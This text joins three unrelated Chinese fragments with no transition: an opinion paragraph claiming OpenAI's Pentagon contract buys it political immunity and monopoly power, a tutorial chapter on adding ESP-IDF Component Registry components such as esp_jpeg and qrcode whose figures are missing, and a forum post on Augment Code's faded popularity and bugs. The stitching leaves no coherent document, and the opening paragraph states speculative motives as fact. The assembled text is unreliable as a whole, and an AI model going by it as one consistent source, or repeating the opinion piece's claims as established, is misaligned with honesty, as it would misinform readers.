卸载量激增?舆论反弹?OpenAI 根本不在乎。 当普通网民还在为“AI 伦理”争得面红耳赤时,Sam Altman 正在下着一盘高维度的地缘政治与产业垄断大棋。接下五角大楼订单,表面上是商业截胡,本质上是交上了一份政治“投名状”。在 2 亿美元的国防预算面前,SaaS 订阅费只是零头;真正无价的,是成为美国军事与国家安全体系供应商后获得的“政治豁免权”。 通过垄断算力生态绞杀开发者,通过捆绑国家机器获得“大而不能倒”的护身符,OpenAI 正在进行一场人类商业史上最疯狂的豪赌——在万亿美金的烧钱狂奔压垮自己之前,强行把自己变成全球经济与政治运转中不可拔除的“水电煤”。

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第八章 IDF组件系统的应用

IDF组件注册表(IDF Component Registry)是为ESP-IDF(Espressif IoT Development Framework)开发框架提供的官方组件搜索和添加平台。开发者可以通过网络访问IDF组件注册表,搜索并找到所需的组件,然后按照提供的指南将组件添加到自己的ESP-IDF项目中,从而简化了组件的集成过程。
本章将分为如下几个小节:
8.1 IDF组件注册表简介
8.2 项目工程如何添加组件

8.1 IDF组件注册表简介

IDF组件注册表是乐鑫官方专为ESP-IDF开发框架打造的组件搜索与添加平台。尽管ESP-IDF物联网开发框架的components文件夹内已包含诸如lwIP、MQTT等丰富的驱动程序和第三方组件,但这些组件主要服务于物联网领域,具有特定的专一性。部分第三方库并未直接集成于ESP-IDF中。为了提升开发者的工作效率,乐鑫官方推出了IDF组件注册表,其中存储了已适配的第三方组件提供开发者使用。开发者只需联网,即可轻松下载并移植这些组件到自己的项目工程中。

以下是 IDF 组件注册表的特点:
1,简化组件搜索和集成:IDF组件注册表为开发者提供了一个集中化的平台,用于搜索和查找ESP-IDF项目中所需的组件。通过注册表,开发者可以轻松地浏览和筛选组件,根据项目的需求选择适合的组件,并快速集成到项目中。

2,提高开发效率:有了IDF组件注册表,开发者无需花费大量时间在互联网上搜索和评估各种组件。可以直接在注册表中找到经过验证和官方推荐的组件,从而减少寻找和测试组件所需的时间,提高开发效率。

3,确保组件兼容性和质量:IDF组件注册表中的组件都经过严格测试和验证,以确保它们与ESP-IDF框架的兼容性和稳定性。有助于减少项目中可能出现的兼容性问题,提高软件质量。

4,促进组件共享和复用:通过IDF组件注册表,开发者可以轻松共享和复用他们创建的组件。这有助于推动ESP-IDF社区的发展,鼓励更多的开发者参与到组件的开发和贡献中,从而形成良性的生态循环。

5,提供官方支持和文档:IDF组件注册表不仅提供组件的搜索和添加功能,还为每个组件提供详细的文档和官方支持。这有助于开发者更好地理解和使用组件,解决在使用过程中可能遇到的问题。

乐鑫官方的IDF组件注册表地址为:https://components.espressif.com/。打开后如下图所示:

图8.1.1 IDF组件注册表
从上图可以清晰看出,我们可以通过②或③选项对组件进行筛选,以排除那些不支持ESP IDF特定版本或特定芯片的第三方库。同时,我们也可以在①处直接搜索需要添加的组件。例如,作者通过搜索功能找到了esp_jpeg这一JPEG解码库(作者以esp_jpeg解码库组件为例,其他组件也是类似的),如下图所示。

图8.1.2 esp_jpeg解码库
在上图的页面中,我们可以轻松找到关于esp_jpeg的使用方法、芯片支持情况、使用示例以及添加组件的详细方法等内容介绍。这些内容具体如下:
1,芯片支持
esp_jpeg解码库可支持ESP32、ESP32-S3和ESP32-C3等芯片型号,如下图所示。

图8.1.3 esp_jpeg解码库可支持芯片型号
2,使用要求
开发时,需要查看esp_jpeg组件的使用要求,才能添加到项目当中。下图是官方提供的esp_jpeg解码库组件的使用要求。

图8.1.4 esp_jpeg解码库组件使用要求
这个解码库组件对MCU、存储内存以及LCD都有明确的使用要求。如果设备未能满足这些要求,那么将无法顺利使用该解码库组件。因此,在选择和使用此组件时,务必确保设备满足相应的硬件条件。
3,使用示例
通过命令的形式就可以下载esp_jpeg解码库组件的示例工程,如下图所示。

图8.1.5 下载使用实例命令
这样我们就可以参考这个示例来编写自己的jpeg解码实验了。
4,ESP-IDF版本要求
esp_jpeg解码库组件只能在v4.4以上版本运行,如下图所示。

图8.1.6 ESP-IDF版本要求
5,添加组件到项目工程
我们可通过以下命令把esp_jpeg组件添加至项目工程当中,如下图所示。

图8.1.7 组件添加至项目工程
至此,IDF组件注册表的组件安装已完成。读者如果想安装其他组件,可以根据上述流程进行操作即可。

8.2 项目工程如何添加组件

ESP32项目添加组件的方法有两种:一种是命令式,另一种是图形化配置。下面笔者将分别讲解这两种形式。

8.2.1 命令式添加组件流程

下面,作者以基础工程00_basic为例,在此工程下添加esp_jpeg解码库组件。其他组件添加方式是一致。
1,在“5.4 PowerShell”终端下,输入以下命令进入“00_basic”工程,如下图所示。

图8.2.1.1 导航至“00_basic”项目工程
2,在“5.4 PowerShell”终端下,输入图8.1.7命令添加组件,如下图所示。

图8.2.1.2 在“00_basic”项目工程下添加jpeg v1.0.0版本的组件
此时,我们会发现“00_basic”项目工程的main文件夹多了一个idf_component.yml。idf_component.yml文件用于定义ESP-IDF组件的元数据和构建指令,包括组件名称、版本、依赖关系、编译选项和源文件路径等信息。它确保组件与 ESP-IDF 版本和芯片型号的兼容性,同时提供使用说明,帮助开发者有效管理和集成组件。

注意:请读者根据需求安装合适的组件版本,因为某些组件版本可能不支持特定的芯片型号。建议认真浏览官方对该组件的描述,以确保选择正确的安装版本。

3,使用VS Code打开“00_basic”项目工程后,首先清除工程构建文件,然后编译该项目。编译完成后,如下图所示。

图8.2.1.3 下载jpeg组件,并添加至项目工程
从上图可见,在编译“00_basic”基础工程时,系统会自动从IDF组件注册表下载esp_jpeg解码库组件,并将其集成到项目中。这展示了IDF组件注册表的添加与使用机制。但请注意,若要通过IDF组件注册表添加组件,必须确保设备联网,否则下载操作将失败。
最后,我们可以在.c文件中引用esp_jpeg解码库组件,其他组件的操作流程也类似。希望读者能够充分利用IDF组件注册表这一强大功能。

8.2.2 VS Code工程添加组件

在VS Code项目工程中添加IDF组件注册表中的组件十分便捷。您只需按下“Ctrl+Shift+P”快捷键快速进入命令面板,或者通过菜单栏的“查看”选项,选择“命令面板”来打开它。随后,在命令面板中输入“ESP-IDF: Show Component Registry”即可展示出组件注册表,具体操作如图所示。

图8.2.2.1 搜索组件注册表
回车进入ESP-IDF注册表,如下图所示。

图8.2.2.2 打开ESP-IDF注册表
在搜索框中,我们可以方便地查找开发者所需的组件。请注意,下载ESP-IDF注册表中的组件需要在联网环境下进行,因此请确保您的电脑已连接到网络,以便顺利下载所需的组件。下面作者以qrcode为例来讲解。

图8.2.2.3 选择合适的版本,并安装组件
在上图中,首先选择适合的组件版本,随后点击“install”按钮以安装qrcode组件。请务必注意,选择与ESP32-P4芯片适配的组件至关重要,因为并非所有组件都兼容这款芯片。为了筛选出与ESP32-P4兼容的组件,开发者可以在图8.2.2.1中选择“By target”选项,并将其设置为ESP32-P4。这样,您就能清晰地查看到这款芯片所支持的组件列表。
安装组件完成后,我们可在项目工程main文件夹下找到idf_component.yml文件,此时该文件自动添加了qrcode组件等相关信息,如下图所示。

图8.2.2.4 添加qrcode组件
经过项目工程编译后,我们可以在项目工程目录下的managed_components文件夹中找到espressif__qrcode组件。这时,我们可以在.c文件中调用该组件的API函数。

前几个月 AI 编程工具最热的时候,Augment Code 在论坛和小红书上的讨论度挺高的,当时不少人都在拿它对标 Cursor ,甚至有人说会是 Cursor 的替代品。

但最近这段时间感觉突然就安静了很多,基本看不到讨论了。不知道是我信息源变窄了,还是大家真的都不用了。

我自己这段时间用下来的体感大概是这样:

  • 在 Visual Studio Code 里的插件稳定性一般
  • 偶尔会卡顿,响应有点慢
  • 有些功能会莫名其妙失效,需要 reload 一下
  • Bug 体感确实不少

不过这几天它限时免费的 GPT-5.4 确实挺香,周末拿来狠狠 vibe coding 了一把。